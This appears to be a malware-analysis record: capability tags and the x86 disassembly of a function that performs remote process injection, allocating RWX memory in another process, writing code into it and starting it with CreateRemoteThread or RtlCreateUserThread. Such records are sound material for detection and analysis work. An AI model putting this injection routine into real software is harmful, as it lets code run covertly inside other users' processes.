Function at 0xe14040
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00e13b00
add esp, 4
test eax, eax
je 0xe14069
jmp 0xe142a1
mov ecx, dword [ebp + 0xc]
push ecx
push 0x43a
call fcn.00e11cf0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0xe14088
jmp 0xe142a1
mov edx, dword [ebp - 8]
push edx
call fcn.00e11f60
add esp, 4
test eax, eax
je 0xe1409d
jmp 0xe142a1
mov eax, dword [ebp + 8]
push eax
call fcn.00e126a0
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0xe140b7
jmp 0xe142a1
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00e13010
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0xe140d1
jmp 0xe142a1
call fcn.00e12690
push eax
call fcn.00e126a0
add esp, 4
cmp dword [ebp - 0x14], eax
je 0xe14104
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00e13f30
add esp, 0x10
mov dword [ebp - 4], eax
jmp 0xe142a1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00e13ee0
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0xe1411c
jmp 0xe142a1
push 0x40
push 0x1000
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0xe14141
jmp 0xe142a1
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0xe1427e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
sub ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
push 4
push 0x1000
push 8
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
je 0xe1427e
lea eax, [ebp - 0x18]
push eax
push 8
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, 0xe13d70
sub edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp + 8], edx
mov dword [ebp - 0x24], 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0xe14217
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00e13cf0
add esp, 0xc
movzx eax, al
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 4], eax
jmp 0xe1425d
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jl 0xe1425d
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00e13cf0
add esp, 0xc
movzx edx, al
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00e11ba0
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 4], 0
jne 0xe14299
push 0x8000
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
jne 0xe14054
mov eax, dword [ebp - 8]
push eax
call fcn.00e11ba0
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret